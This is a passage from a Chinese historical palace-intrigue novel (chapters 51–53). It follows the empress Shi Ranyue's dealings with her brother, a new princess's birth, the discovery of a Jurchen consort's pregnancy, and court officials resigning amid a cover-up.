安谈和捋着胡子大笑:“你啊你啊。”说着转了转眼珠,侧身向官成澈低声道:“既赐了国姓,左不过封‘公主’、‘郡主’或是‘县主’。封公主于礼不合,你且先上个书提议封为郡主,若陛下同意便了了,若陛下没有立即同意,再上书改成封县主就是了。再在这京中随便找个旧宅修葺立府便是。”、 “既是安大人的主意,那下官便照着办了。” 安谈和无奈一笑,却又道:“不过你在此事上如此犹豫,是在顾忌皇后娘娘的意思?依你们家与师家的私交,去问问师大人不就是了。” “那是师大人的意思,未必就是皇后娘娘的意思。” 安谈和“呵”一声轻笑,道:“有师大人的意思就够了,皇后困于深宫,她的意思能值几钱呢?” 51. 第 51 章 端午次日,天骤然阴沉,空气中凝着闷热的水汽,似乎随时都会落下雨来。满宫的琉璃瓦也是灰蒙蒙的,显现不出一丁点的光泽,像是积年落灰了一般。 师霖与端木萌穿着厚重的朝服,层层衣物下细汗涔涔。二人一路无言,只并肩跟着薛德保向坤宁殿走去。 隔着屏风,他们看见影影绰绰的人影,正中的那个端然坐着,头顶的凤冠鎏金浮光,极尽奢靡。虽这般架势,然却是在坤宁殿偏殿中,而方才他二人进来时,见到以吴怀安与合月等为首的一干侍者尽侍立在殿外,薛德保将他们请进殿后,也退到殿外阖上了门。因此如今立在两侧的不过是音儿和木莲两人罢了。 二人跪下行礼,头叩在青石板上半晌,才听见一声风一样似有似无的“平身”。 “娘娘诏臣等前来,有何事吩咐?”一片死寂中,师霖问道。 “本宫只有一事要问。师大人,你心知肚明。” “军国大事一切仰赖陛下裁决。娘娘如有不明之事,可以去问陛下。” “陛下决断,事关江山社稷,本宫不会过问。”师冉月深吸了一口气道,“三哥,我只想知道你。” 师霖低头道:“娘娘心中不是已经有猜测了么。” “为何非要如此?不要与我说是为了师家,若要为了师家,定还有千万种方法,何至于做到如此决绝?你当日吩咐下去时,可曾想到父亲和大哥?如今你回家面对岳夫人时,难道心中不会有愧么?” “终究还是不同的,娘娘。”师霖沉声道,“你受封为后时,跟着封赏的是楚州唐氏,而不是现在只靠一个长公主撑着的徒有虚名的岳氏。” 他顿了顿,又道:“至于其他人,凡是师姓,我都会尽力保全。” 师冉月咬着唇,良久未言。直到端木萌似乎有些站不住似的身形晃了一晃,她才呢喃了句:“凡是师姓,好一个凡是师姓......” “娘娘若是因此厌烦见我,那日后我们也可以不见。”师霖仍旧微微垂着头。他如今蓄了须,眼睛也不似从前有光彩,穿着官服完全与其他稍年轻的官员别无二致,除了仪容规整些,鲜少有痕迹能看出来他当年仅仅是一个眼神或是一个翻身上马的动作就会被众人追捧,骑马游街一圈,怀中的鲜花香囊即数不胜数。 “还有一事,今日既然与你相见,不妨也一起说了。”他看了眼身旁的端木萌,继续道:“我已写好辞呈,也许待娘娘平安诞下皇嗣,便会递到陛下桌案上。” 师冉月闻言,倒不是十分惊讶,只叹了一声,缓缓道:“这样......也好。” 端木萌抬了抬头,想说些什么,却只是张了张嘴又把话咽了下去,却蓦地唤了一声:“小......容琯——你别怪他。” 师冉月没有作声。 音儿自屏风后绕出来,行了一礼道:“殿下,侯爷,请回吧。” 音儿独自一人将二人送至坤宁殿外。端木萌犹豫很久,方道:“音儿,皇后娘娘她......” “侯爷与夫人是姑娘的至亲骨肉,姑娘怎么会真的记恨你们呢。”音儿看到师霖别扭的眼神,对着端木萌笑着说道。“姑娘她......只是一时惊愧,加上怀着小皇子,便更容易忧心些。想来过段时日也就好了。侯爷和夫人都是自小与姑娘一起长大的,自然知道姑娘的脾性。” 师霖冷笑:“是,她那脾气,最能瞎折腾人。”说着便不管音儿和端木萌,自己甩了甩袖子背着手走了。端木萌无奈叹气,交代了音儿两句,才匆匆转身跟上师霖。 音儿看着二人背影,思及始终,终还是忍不住在心中长叹。她晓得师霖的意思,师冉月的心中从始至终装不下那么多的人,冷心冷肺,折腾人做样子只是为了安慰自己良心过得去罢了。 天上飘下几滴雨来,凉丝丝在脸颊滑落。音儿兀自在雨中发了一会儿愣,这才匆匆跑回了殿中。 看着檐下成线的雨水,“这下侯爷和长公主殿下要挨雨浇了。”音儿想着。 复景三年五月十九,武宗太妃莫氏薨。 师冉月坚持挺着肚子坐着马车到了行宫,上香祭拜过后,安慰过守丧的的端木齐和王氏,又吩咐了主持丧仪的礼部官员几句,便移步偏殿与唐瑾闲谈。如今穆宗皇帝的后妃都已作古,莫文君去世后,武宗皇帝的后妃也只剩了唐瑾一个。 “姨母在这里可还好?如今淑太妃也故去了,若是姨母觉得寂寞,本宫可向陛下请旨接你回宫居住。” 唐瑾摆手笑道:“我是先帝太妃,依例就该居于行宫,回宫便是逾礼了——娘娘在这里称我为姨母,也是逾礼了。”又问:“陛下给淑太妃定了什么谥号?” “依平卿贵妃和平容贵妃的旧例,拟定了一个‘端’字,称平端贵妃。” “平端......”唐瑾淡淡地笑了笑,“你不晓得,说来这‘平’字并不是自平卿贵妃始的。先帝还是皇子时,曾有位原配的皇子妃,出身不显,生了一个女儿也夭折了,她本人也在昭献皇后嫁给先帝前一年忽然病逝。先帝即位后,因着彼时岳家势大,便只将她追谥为贵妃,拟了‘平’这么个不显山不漏水的字,叫做‘平安贵妃’。‘好而不争曰安’,可惜她连争的机会都没有。后来她的母家人又犯了事,先帝一怒之下,便连她的封号也夺了去,因此如今宗庙中也没有她的记载了。” “那后来为何先帝为平卿贵妃拟定谥号时仍用了这个‘平’字?” “平卿贵妃死的时候,平安贵妃的封号还没有被夺。先帝本来定的倒是“庄卿”二字,但彼时礼部的王贯上书称‘卿’字没有典故不合规制,‘庄’字也与平安贵妃的封号不一致,不合旧例,于是这二者中,先帝最终选了第二条妥协,便是‘平卿贵妃’了。” “原始如此。”师冉月轻叹。 “说白了,这都是死后哀荣,是好是坏又能如何呢?”唐瑾不屑道,“就连身后家族如何也是奈何不了的事。平容贵妃的娘家已经没有人了,平卿贵妃的娘家却蒸蒸日上,昔日我们尚在那宫里的时候也料想不到这么久远,何况人死了。” 师冉月望着她两鬓不加遮掩的白发,心中不忍。虽说唐瑾与唐烨也只是同宗的远房堂姐妹,但好歹也算她在这宫中的一点亲眷。唐瑾膝下只有一个早夭的连名字都没有取的二皇子,因此幼时师冉月入宫时也多得她照护,比起昭献皇后也是不同的。 然而唐瑾却很冷淡,甚至赶起她来:“这儿是死人的地方,阴气重,你还怀着孩子,还是快些走吧。” “太妃......多保佑。” 七月十二日凌晨,师冉月诞下一女,依“吾行有定止,潮汐自东西”为其取名为“汐”,封号为妧成公主。 “所幸战事结束的早,这次我总算能陪你生产。”入夜时,血腥味散去,白日哄闹的众人也都各归各处。端木玄拥着师冉月倚在床头,突然感慨。 师冉月闭着眼睛要睡不睡,只轻声叹息道:“我乏得很。你有话,找孙才人说去。” 近来因徐聆雨的举荐,宫中承宠最多的便是孙姝妙。偏生她这人高调张扬,前一晚侍寝,第二日逢人便要拉着明里暗里炫耀,逢不着人便跑到旁人宫中去。师冉月本是睁一只眼闭一只眼,然而连素日装鹌鹑的蒋纹都跑到坤宁殿来希望她能约束孙姝妙,这才不得不找了个由头禁了她几日足——只因若非将话直直说出来她是万万听不明白的,而师冉月并不是一个喜欢有话直说的人。 端木玄倒是从善如流,不再出声。 师冉月脑子困倦得很,小腹却仍然疼着,稍一动作牵扯到了便是一阵撕心裂肺,可若要保持不动又觉得难受,自己在脑中折腾半天,到底还是睡去。 端木玄等着她睡熟,才慢慢将她的头放在枕上,自己抽出手去轻轻跳下床,只穿着中衣,罩了个披风,便自己挪到偏殿去看睡在小床上的端木汐。他一向不与孩子们亲近,也从未看过先前三个孩子刚出生时的样子,此时竟有些莫名其妙的初为人父似的兴奋来。这个才出生的小女儿幼小可怜,不像长子那般跳脱,也不似长女文静疏离,这般小小的躺在襁褓里,似乎天地间此时唯有他这个父亲能保护他,竟叫他觉得有些自豪,随之生发出了些半生未曾有过的激动心绪来。 “阿胭姐姐,原来你在这儿。” 近黛爬上清和殿旁崇文阁的屋顶,终于找到了穿着一身素白衣裙正坐在屋顶喝酒的烟水。 “嗯,小黛。”烟水向她点了点头,看向她的眼神已经有些迷离,眼中似是含着盈盈水波,在明亮的月光下像有星星坠落。 近黛坐到她身旁,拿起她的酒坛看了看,道:“这是今日为了庆贺二公主出生宫里特意发的酒......不过姐姐不是为了庆贺二公主出生才喝的罢?” 烟水把酒坛拿回来,在手中端详了一阵,笑道:“怎么就不能呢?” 近黛也不与她辩驳,只借着屋顶的视角四处眺望:“原先在屋顶总是为了做任务,这般静静地在屋顶赏月倒是头一次,这满宫的琉璃瓦在月亮下好像也有些不同了。”说着说着,却又看到西宫那一排配殿,叹道:“也不知道陛下是怎么想的,为何会让那个女真女子住在宫里。” “陛下......也许有几分喜欢她吧。”烟水又喝了一口酒,看了那配殿一眼,又遥遥望向前方,那一条贯穿宫门和京城内城长安门、外城远德门的御街两侧,几家名满天下的酒肆仍然灯火通明,高高挂着的酒旗和灯笼在晚风中轻轻摆动,似是跟着忽近忽远的悠扬乐声翩翩起舞。 近黛顺着她的目光看去,道:“自从陛下将宵禁的时间往后挪了两个时辰,这些酒家和青楼的生意倒是越发好做了。不过京城如今再没有一个像当年晓残月那般绝世的歌喉了。对了,姐姐可曾听说,那晓残月似乎是个道士的女儿呢。” “是么?竟有这样的事。” “我也只是听人说,也许是有人杜撰出来的吧。京城方圆几十里也就江浪观那么一个道观,里面似乎大多还是女观和孩子。” “孩子?是被抛弃的孤儿么。” “大概是吧。不过我有一次路过江浪观,倒碰见几个观里的孩子跑出来到江边玩儿,虽都是粗布衣衫,但看起来是用心养的,比平常百姓人家的小孩还齐整几分。” “真好啊。”烟水顿了顿,突然感叹道。近黛一愣,旋即明白过来,自己竟也跟着伤感起来,良久,转头看向烟水,笑笑道:“我们也没差什么呀,姐姐,至少我们现在也活着呢。” 烟水灌完了最后一口酒,看了她一眼,轻声笑了笑,转身下了屋顶。 近黛没有跟着她下去,只是自己又在屋顶上站了一会儿,桃红的罗裙经风一吹,像是轻旋的花瓣,飘忽地飞着。 夜凉如水。 月余即是中秋节。 端木汐已满月,恰逢天清月明,惠风和畅,便由奶娘抱着出来转了一圈。然而师冉月虽已出了月子,身上仍觉得不大好,加上筹办中秋的各项事宜皆是林绵主持,便也不露面,只是由音儿与吴怀安为戚里送上节礼。 节后,端木城获封平江郡王,宫外立府别居。林绵与之母子分离,虽也能时常入宫得见,但还是伤心感怀了一阵,许是心绪所致,又或者中秋节前后劳累,身上也不大爽利,干脆在辰阳殿闭门不出。这般下来,端木玄与师冉月一商议,便将宫中诸事暂且交由徐聆雨代掌,烟水从旁协助。 中秋一过,盛夏的那一点余温便彻底消耗殆尽,随之而来“秋风卷落叶”,庭院残红枯黄层层堆叠,每日窸窸窣窣地扫尽了,就是一片深秋井水泼洒过的石板地。虽时节萧瑟,然师冉月的身子却一日好过一日,加上又可以做应季的桂花芡实糕和清凉糕、熬桂圆百合粥和白梨茶,还有各色肉食“养秋膘”,她的心情倒是越来越好了。 端木玦更是日日叮嘱她做这做那,还喜欢到厨房亲自监工。连不常出门的端木含这些日子也喜欢往坤宁殿凑,更别提早就盯着了的俞安乐等人了。 这日,端木玦与端木含两个正并排坐在廊下的蒲团上看薛德保和香径、罗幕几个小宫女架火烤北边新进贡的羔羊,师冉月教单撕了一扇羊排并一只羊腿下来,请宫外北省的厨子依他们的吃法详细写了,教德保几个依样烤了,自己倒亲自到厨房去调试蘸肉料汁来。 “只可惜咱们没有那北边的师傅说的韭花,不过退而求其次了。” 音儿笑道:“肉吃到肚子里还不都是一个样子,天下只娘娘一人这般挑剔了。” 木莲也道:“是呀是呀,主要是能挑剔之人中只有娘娘这样挑剔了。” 俞安乐、蒋纹和赵玉熹三人踏进坤宁殿时,见到的便是两个孩子坐在蒲团上瞪着圆眼睛盯着那已经开始流油的羊肉的样子。二人见到三人进来,乖巧起身行礼。三人也笑着回礼,又问道:“皇后娘娘在何处?” 端木含道:“母后在厨房调料汁。” 端木玦道:“这会儿也有可能去后面园子里翻她晒的桂花了。” 却说着,师冉月已从殿后绕出来,三人忙又行礼,师冉月笑道:“今日你们可是来着了。” 木莲和春桃等将三人迎进殿内坐下,又端来新做好的白梨茶和桂花乳酪。 三人好生吃了半晌,这才想起什么似的,各自对视了好一会儿,终还是师冉月开口道:“有什么事便说罢。” 俞安乐扭捏开口道:“昨日我们三人在御花园时听见一个到昭仪娘娘宫中送画的前省太监,与身旁人说礼部的官员听说那个女真的女子有了身孕 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徐聆雨的心放下一半,立刻去更了衣,却还是暗自在心中思虑,想来自己这两个月办事并没有什么大差错,有要紧的也都是请示了师冉月或端木玄才拍板......若说后宫诸人,孙姝妙虽经她进言进来得宠,但不多时禁了足,如今还没被放出来,应该也不会弄出什么乱子;吴秐这些日子不知道在自己阁中忙什么,大概也没再去搬弄是非;江映近来恩宠平平,人也不显,大概也无事;其余几人都算是常到师冉月跟前去的,有什么事也不必来问过她......这般想了一圈,她倒更疑惑起来,只又自己对镜随意理了理鬓发,便匆匆跟着音儿往坤宁殿去。 到了坤宁殿,却见师冉月也穿戴齐整,竟等在殿门处,见她过来,便道:“随本宫去一趟西宫配殿。” “西宫配殿?是那个格格有什么事么?” “本宫无意间听得一些闲言,说是那位主儿恐怕有喜了,这才邀你一同过去探望一番。”师冉月目视前方,言语不咸不淡。 徐聆雨却大为震惊,却被“闲言”一词吓住,只低头闭口不言。 师冉月为后以来,最忌讳的就是宫中这些流言蜚语,复景元年杀鸡儆猴的那些嘴不严的宫女太监的血还没干彻底,这唇齿间的腥风血雨便又有了复发的态势。 半晌听不见身旁人的声音,只有裙带衣角的布料随着行走间窸窣着不停声响。师冉月却突然转首看了徐聆雨一眼,又转回头去,微微笑道:“想不到我这辈子还能看见徐大姑娘这般神态。怎么,是女真格格把你吓着了,还是我把你吓着了。” 徐聆雨仔细分辨着她的用词,提着的心稍稍落会一点,只道:“若是谣言属实,你打算怎么办?” “好好开着的花,上赶着要谢,我们又能如何呢?”这会儿功夫,方才对徐聆雨那一点调笑不知不觉间在师冉月玉佛一般的面容上隐没,她的脸色又似逢秋霜。 好在一行人已经进了西宫的门,因着未曾提前知会,也未用皇后和昭仪仪仗,西宫宫院里值守和扫洒的宫人都惊诧不已,退潮般参差着行礼。 西宫地界偏僻,庭院冷清,虽然安排端木胭暂住在此时格外打扫了,但似乎还是有挥之不去的浓重的阴湿气息缠绕在旧红的一砖一瓦间。在此侍候的宫人除了原先便在西宫值守的,其余者皆是前些日子林绵与徐聆雨精挑细选的,再之后,便是一个跟着端木胭迢迢而来的雪儿近身侍奉。 师冉月在院中站了站,用手势制止了想去通报的宫人,良久,方道:“西宫还是不合适了。怀安,叫人将宣如殿打扫出来罢。” “是,娘娘。” 徐聆雨闻言瞠目,原地愣了一会儿,蓦地迈开步子,越过师冉月径直进了去。殿内的陈设是有司依着郡主留宫居住的规例布置的,比起品阶稍低的后妃不同,却也温馨舒适。这会儿窗外天阴着,徐聆雨一进去倒是被满殿灯烛闪了眼,她却管不了这么多,只死盯着雪儿匆匆藏到身后的那碗汤药,还有惊慌起身无措行了一个不像大淮也不像女真的礼的端木胭,以及她动作间衣料勾勒出的腹部圆弧。 跟着她进来的一个西宫宫女蓦地跪在地上。徐聆雨一脚提起却落在半空,退了两步,深吸了两口气才道:“何时的事?” 那宫女不敢隐瞒,颤声道:“太医说......应该,应该是六月初。” “哪个太医?” “胡......胡太医。” 徐聆雨又调整了一次呼吸,道:“这么大的事,欺瞒了满宫的主子,却敢往外传谣言,是谁给你们的胆子!” 霎时满宫的宫人都跪伏在地,颤抖着身子不敢作声。那雪儿站在端木胭身旁,微微将她护在身后,却也只低着头。澜水上前扭着她的胳膊强教她也跪下,厉声道:“进了大淮便要依我们大淮的规矩,昭仪娘娘问话,还不跪下!” 端木胭却将雪儿拉住,生涩道:“雪儿是我的人!” “您这是什么话?这满宫上下都是陛下的人,哪分‘你的我的’。”澜水冷笑道。 端木胭显然急了,却说不好大淮的官话,一句里夹着半句女真语,众人都听不明白,却晓得她是在发怒,尽管无人会理会。 僵持间,师冉月这才慢悠悠踏进殿来,对上端木胭瑟缩了一瞬的眼神,却转头向徐聆雨道:“徐昭仪,莫要自降身份,又失了礼数。” 这话说的温和,满地跪着的人似乎也跟着松了一口气。徐聆雨咽下气焰,低头称是,退了两步到一旁。师冉月向殿中走了几步,上下打量了一番端木胭,又看了两眼她身后跪着的雪儿,勾唇笑了笑,道:“音儿,西宫的人都换上一批。胡太医是昭献皇后的人了,如今他老了,便去为昭献皇后守陵罢。” “皇后娘娘饶命——皇后娘娘饶命啊!”登时,满宫的人都哭天喊地叩首不止,却很快有人来将他们尽数堵住嘴拖走,似乎只是一阵风吹过的功夫,殿内便只剩下寥寥数人,连带着拖人时撞翻的物件零零乱乱摔在地上,倒让师冉月莫名想起抄家那日的师家。她看着床榻边相互搀扶着的那主仆二人,声音柔和,道:“本宫已命人将宣如殿收拾了出来,日后你便住到那里去罢,以昭仪的身份。” 又向徐聆雨道:“这些日子你代管后宫,又操持此事,辛劳非常。本宫今晚会向陛下进言,将你晋位为贤妃,迁居淑慎殿。”说罢,也不待徐聆雨反应,又嘱咐了轻寒和木莲暂时留在端木胭身边,直到她搬进宣如殿为止。 “轻寒,你年初才从女真回来,刚好便做个通事罢。” “是,娘娘。” “走罢,这出戏也演了,瞧着这天是快要下雨了。” 52. 第 52 章 坤宁殿后殿连廊下的晾的各色花儿果儿刚收起来,今年的第一阵北风便也忽悠忽悠地刮来了。对于孩子们来说,冬季意味着臃肿的冬衣和厚重的披风,并上不能总在外玩耍以免感染风寒的各种叮咛。加上今年端木城立府别居,端木玦和端木含更是觉得无聊,唯有数着日子过年算是一点盼头。 先头师冉月方从梁司衣带来的各色冬衣料子和女真进贡的皮毛中选过了,又留下两条实在可爱别致的狐狸皮毛打算自己研究着做些许久不碰的女红,就听见端木玦“噔噔噔”跑了进来,行礼后问道:“母后,今日太傅说过了年后他便要辞去太傅的位子,回逢州去了,这可是真的?” 师冉月摸摸他的头,道:“是真的。” “太傅为什么要回逢州,是父皇让的么?”端木玦满眼认真地盯着师冉月,又问道。 师冉月一时语塞。自从怀上端木玦后她便一直忧虑这般情景,一面期许着自己可以让自己的孩子多天真一些时日,不必过早看清所谓是非对错真假黑白,一面却又晓得他身在此位,上述种种早晚要面对,甚至担忧有些事情不能叫他早早明晰恐怕反倒有害于他。这般犹豫着犹豫着,端木玦一日日长大,她却始终没能决定好此中尺度。 “你父皇有他的考量......太傅回逢州后也许会比在京城过得更自在呢,而且日后他便只是你的舅父,见了面也不会再责问你的学业功课了,这不也是件好事么?” 端木玦低头想了想,道:“那么,沈先生会一直在么?” 师冉月语塞,对上端木玦尚且是孩童般澄澈却已然有了稳重之色的眼睛,只能缓缓道:“玦儿,为君者,天下贤士皆为你所用,并不能拘于一二者之间。而有才干之人,也不一定只谋一任。像蒋先生那般,既能为人师授人以学,又善于与人交往,于番邦往来间周旋为国盈利。来日兴许沈先生会一直做你的老师,又或者某一日你父皇或是将来你自己有别的事托付于他,如此将他调任也是未可知的事啊。” 说着,却怕端木玦又说些什么,只拿过那条赤红的狐狸皮毛来在他颈间比划了比划,道:“这条毛色纯净鲜艳,母后打算亲自动手给你做条围领,你看可好?” 端木玦撇撇嘴:“母后,你要是闲着无聊,还是做些吃的罢,做女红这种事还是交给司衣或者宫里的嬷嬷们罢。” “怎么,小瞧我?我平日不做女红,是因为不喜欢做,可自小也是同你姨母一起跟着宫里出去的嬷嬷学的,并不比旁人差什么。”师冉月点了点他的额头,又抓起另一条白毛中夹着几缕棕红色的,道:“这条旁人都嫌毛色杂,我却觉得这颜色搭配起来刚刚好,便给你二妹妹做个吊坠玩玩罢。” 端木玦看着她欣赏那狐狸毛的眼神,只觉得她是自己想玩罢了,暗自叹了口气,口称还有功课要做,便告辞溜去了偏殿。 “诶,玦儿,跑什么!”师冉月无奈,对音儿道:“本想问问他的意思,这下还是本宫自己定罢。明年等他过了六岁生辰,也该从我这偏殿搬出去了。陛下是想叫他搬去清和殿旁的祯宁宫,那儿离御书房也近。本宫倒属意清漪阁或是显允阁,这两处离坤宁殿近些,位置也静谧。”又叹道:“说到底明年玦儿也才六岁,就算是太子又如何呢。” 音儿想了想,道:“殿下虽然六岁,但已经比寻常孩子沉稳懂事了。娘娘,殿下到底不是一般皇子,兴许住到祯宁宫去于他于您都更有益罢?” 师冉月何尝不知当中利弊,只是前些日子林绵与端木城母子离分,她也跟着有些伤感。端木汐出生后,日日比着两个孩子,她更觉端木玦一日大似一日,似乎如等不及振翅的雏鹰就要脱了她的手去,心下便空落落的。 “罢了,只是早晚的事。宣如殿今日如何了?” “回禀娘娘,一切如常。”春桃道,“邹太医开的药也都按时喝了。” 师冉月叹道:“叫轻寒好生看着,别提前出了岔子。”又问:“今日是谁侍寝?” “是蒋才人。” “怎么不是吴才人?”师冉月皱眉道。 “昨日吴才人侍寝后说是身上不太舒服,如今请着太医呢。” “是有孕了?” “太医说吴才人脉象弱,还不能确定,但兴许是有了。” “罢了,明日叫邹太医去给吴才人请脉。”师冉月走到暖阁,看了看熟睡中的像个糯米糍似的端木汐,心下软了几分,半晌,出了暖阁,才道:“若是吴才人真有孕,也先叫太医为她保胎罢。” “是。” 马车一路进了宫门。 秋雨缠绵,马车内虽然干燥,却仍叫人周身泛着凉意。车轮压在石板路上辚辚作响,溅起一点雨水,留下薄薄的雨痕。 不知过了多久,马车渐渐停了,外面的人恭声道:“二姑娘、三姑娘,该下马车了。” 师景安掀起鸦青的车帘,提起裙摆踩到地上。身后的师莞安跟着她一起钻到层层雨伞里,鹅黄的绣鞋只有鞋尖落在地面上,沾染起一点微弱的水痕。 一路的景致都很熟悉,只是这还是师景安走在这条宫道上时第一次身旁没有师婷欢。传皇后口谕的薛公公到家中时,点明了只请二姑娘和三姑娘入宫,令所有人都摸不着头脑。 二人被簇拥着,又走了好一会儿,才看见坤宁殿的影子。进了殿去,便见师冉月已然端坐在上,一旁坐着一个穿葱绿色衣裙的女孩,头上插着几朵金蕊珠花,并一支翠玉步摇。景安认出这是令成公主,与妹妹一并跪下道:“臣女给皇后娘娘请安,给令成公主请安。” “快起来吧。”师冉月笑得温柔,叫她们也在身旁坐下,却只随意寒暄了两句有的没的,便对莞安道:“莞姐儿,你且与令成去御花园中玩一会子罢。” 莞安并不常面对这般场合,从前即便入宫觐见,大多时候也是混在一众姐妹中。她虽在家时一副天不怕地不怕的模样,在外却总像个锯了嘴的葫芦。这会儿尚有些拘谨,只怯生生地点了点头,便与端木含一起起身出去。所幸音儿亲自跟随二人去御花园,这才叫莞安放松了几分。 端木含比起师莞安足足小了七岁,然而生性温和乖巧,虽话不多,但也领着师莞安绕着御花园各处景致转了好一会儿,而后便拉着她在亭中坐下,玩起双陆来。 那边厢师冉月将人都支了出去,才问景安道:“这些日子你四叔可好?” “四叔回来时伤口总是反复感染,太医说是当时箭头上的毒素未能清理完全的缘故,只能清理过后用药养着。头一个月四叔便时不时晕厥,但这些日子已经好了不少了,亦能下地走动,只是有些许跛脚,且右臂如今是完全抬不起来了。” 师冉月皱眉,又道:“那他心情如何、精神如何?” “精神尚好,我们去时偶尔也会与我们说笑,但依太医的意思,四叔即便伤口都好了也不能恢复如初,恐怕是没有办法再上马作战了。四叔为此心气郁结,常不顾医嘱借酒消愁......四婶为了此事也没少烦心,前两日还与我娘还有三婶说,想给四叔纳一房妾室进门。” 师冉月扭过头去,轻轻吸了吸鼻子,只是长叹。 景安道:“皇后娘娘身在宫中,事情繁多,又为四叔延请天下名医,花费了不少心血。我与妹妹进宫时四叔和四婶亦托我感谢娘娘。” 师冉月叹道:“罢了,事已至此......”说着,便又问起家中其他人的近况。这般说了好一会儿,师冉月走下来拉着景安的手,仔细端详了一番,只觉得她出落得越来越像端木婉,唯有一个鼻子肖似师穆。比起婷欢,景安的身量更苗条些,清泠的像是刚从石缝中涌出的涓涓山泉,又似是早春刚发了嫩芽时的柳枝。方才她一算来,才发觉转过年去景安便已到了十四岁,恍然间想起十四岁时随着端木萌胡闹的自己,便有些唏嘘。 更别提方才景安与莞安一前一后进来,便叫她想起了旧时的吟月和自己。 “景安,你可有喜欢的人?” 景安愣了愣,道:“还没有......” 她想了想,心中有了考量,又接着道:“若是娘娘欲要为臣女赐婚,臣女但凭娘娘旨意。” 师冉月惊觉她的敏锐,自己倒更愧疚几分,道:“若是姑母将你与岳小侯爷赐婚,你可愿意?” 景安只道:“婚姻大事原本便是要听长辈吩咐的,皇后娘娘既已看好,臣女没有什么不愿的。” 师冉月一把将她搂进怀中,叹道:“好孩子,只是委屈了你......来日若是你过得不好,或是受了什么委屈,尽可来宫中找我,我定会为你做主,和离也好,休夫也罢,都随你。” 景安伏在师冉月肩上,藏起一抹苦笑,只道:“谢皇后娘娘。” “这儿又没有外人,不必叫得如此生分,只叫我姑母便是。” 景安从善如流:“姑母。”又行了一礼,道:“臣女斗胆向姑母求个恩典。” “但说无妨。” “臣女想求姑母一并为大姐姐和寻县燕氏长房长子燕寂赐婚。大姐姐心属燕寂已久,三叔三婶亦知情此事,只是犹豫燕氏长房人口凋零,燕氏又族人众多,恐怕大姐姐不好支撑。大姐姐劝了三叔三婶几回,一直未能得到首肯,为此忧心不已。所以臣女想请娘娘成全大姐姐和燕寂。” 师冉月琢磨道:“燕寂......可是与你大哥哥同窗、明年要去春闱的那一个?我倒在太学见过他,容貌不俗,谈吐也佳,倒是不错。只是燕氏的确——”师冉月正犹疑,却看到师景安的眼神,立马软下心来,道:“罢了,除夕宫宴时我会将他写入名册,彼时我会再做考量。若他人品亦不错,待来年春闱放榜,便为你们二人一同赐婚。” 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邹太医闻言叹道:“回娘娘,吴才人原本身子就弱,若非接连承宠,受孕也是勉强。此胎先天不足,臣勉强用药并熏艾,最多也只能再保一个月。” “您尽力就好,这也原本是求不得的事。本宫念在吴才人年轻,好容易有了这个孩子,不忍看她希望落空,才求太医您为其保胎。”师冉月摇头叹息,又道:“本宫听闻俞才人近来也颇辛苦,比本宫怀着妧成时更甚。但听闻宣如殿那位却没什么不适,是否是大淮女子与女真女子体质不同的缘故?” 邹太医点头道:“大淮女子与女真女子体质的确不同,但也不尽然如此。臣前些日子依例为昭仪娘娘请脉,虽然脉象康健,却有早产的迹象。不过这并无大碍,即便早产,大概也要到快九个月的时候,此时生产并不会妨碍皇子健康。” “原是如此,那本宫便放心了。吴才人那边还要继续劳太医看顾着。” “这是臣分内之事。” 送走了邹太医,音儿道:“娘娘,礼部官大人那边已经将昭仪的册仪准备好了,听说陛下准备亲自为其挑选封号。” 师冉月冷笑一声,道:“真是有劳礼部的诸位大人。”端木玄出尔反尔,先默认了封端木胭为郡主,又作主将其住处安排在宫内,而后竟一声不响地临幸了端木胭,似乎专为了等师冉月发现,再由她以皇后身份将其纳入后宫。 “不必管他,本宫再等吴才人一个月,一个月后正是年关,恰好缺一场好戏过年。” 新载,端木玄下诏改元,曰乐康元年。 官成澈坐在礼部堂上,捧着头长吁短叹。时值大年初二,天还没亮便被夫人叫醒时,他的脑子已经不清醒到以为要入宫参加除夕宫宴。 安谈和晚了他一个多时辰,才拄着拐慢悠悠地来了,围着他绕了一圈,捋着胡须笑道:“年轻人,宿醉伤身呐。” “哎呦我的老大人,您可别在我眼前晃悠了。”官成澈将案上的信纸转向他,道:“您看看,这文书教我如何去写?难道说,我朝的吴充仪因为失了自己的孩子,失心疯了,嫉妒你纳真的妹妹怀着孩子,所以就给你妹妹灌了堕胎药,一不小心连你妹妹都死了?” “上头的意思,不正是如此么?”安谈和看了看,道:“左不过犯错的只是一个充仪——如今只是一个冷宫中的废妃了。女真那边就算追究起来,大不了便将她赐死谢罪便是。” 他来回走了两圈,又道:“我听说,师大人已经向陛下递了辞呈。” “没错,辞呈去年腊月时便递上去了,只是不知为何陛下尚未答复。” 安谈和转过身来,盯着铺开一张新纸正要提笔的官成澈,意味深长道:“也许就等着你这一纸文书呐。”说罢,不待官成澈接话,便道:“我也起草好了辞呈,此事了了,便向陛下乞骸骨归乡。”他望向门外,冬日初升的阳光在他苍老的眼眸中泛起澄澈的微光,恍惚间似乎迎面向他走来了刚中进士正要去殿试的自己,一介布衣,虽身形清瘦,但腰板如青松般挺直,眼睛望着那座巍峨宫阙,心中满溢着如日出海面般的憧憬,磅礴而雀跃。 同年者,只他一人不过是农户之后,也只他一人如今尚且站在这庙堂之上。 回头望去,躬身而向的那处座椅上,悄然间已换了四人,他也从一个小小的学士,几次进出京城,宦海沉浮至今,虽无大功已无大过。 他亲眼瞧着这庭中草木枯荣,一岁一息,然不胜当年矣。 他知道,是时候了。 “想必陛下过两日便会允我归乡。之后的事,便要看你们这些人了。” “您何时离京?若有什么需要帮忙的——” “帮忙不必,待我离京那日,你且好酒相送便是。” 劝君更尽一杯酒——天下谁人不识君。 53. 第 53 章 夜已深。 留容轩仍灯火通明,光影下人影来回走动,好不忙碌。 一些闲置的物件和衣料布匹,以及大部分的金银首饰,已经陆陆续续由府卫与私兵押送着去往逢州,那边惠嫂已经带人收拾整洁,只待众人回去入住。 端木萌在屋内捧着账本来回走动着,以期发现什么遗落的事项。 半个月前,端木玄终于落笔,前后准许了师霖与安谈和辞官的请求,稍后,擢升吴称为左相,官成澈为礼部尚书。按着计划,还有三日师家众人便要启程返逢,家中人人皆是忙碌非常。 师霖远远看见院中灯火,心下又飘升一丝胆怯。他抬起衣袖闻了闻,酒气浓重非常,直教他自己也忍不住皱眉。他又往西看了看,那边院子中灯已经熄了,只能看见帐中灯的一点幽暗的光,瞧不见人影。他盯着看了一会子,发了会儿愣,恍惚间回了神,短促地叹了口气,终还是抬起脚回了自家院子。 端木萌瞧见他进门,并未出声,只坐回椅子上继续核对着账册。几个丫鬟上去帮师霖脱了衣服,他倒挥退了众人,自己去洗了澡,换好衣裳,沉默地坐到端木萌的对面。 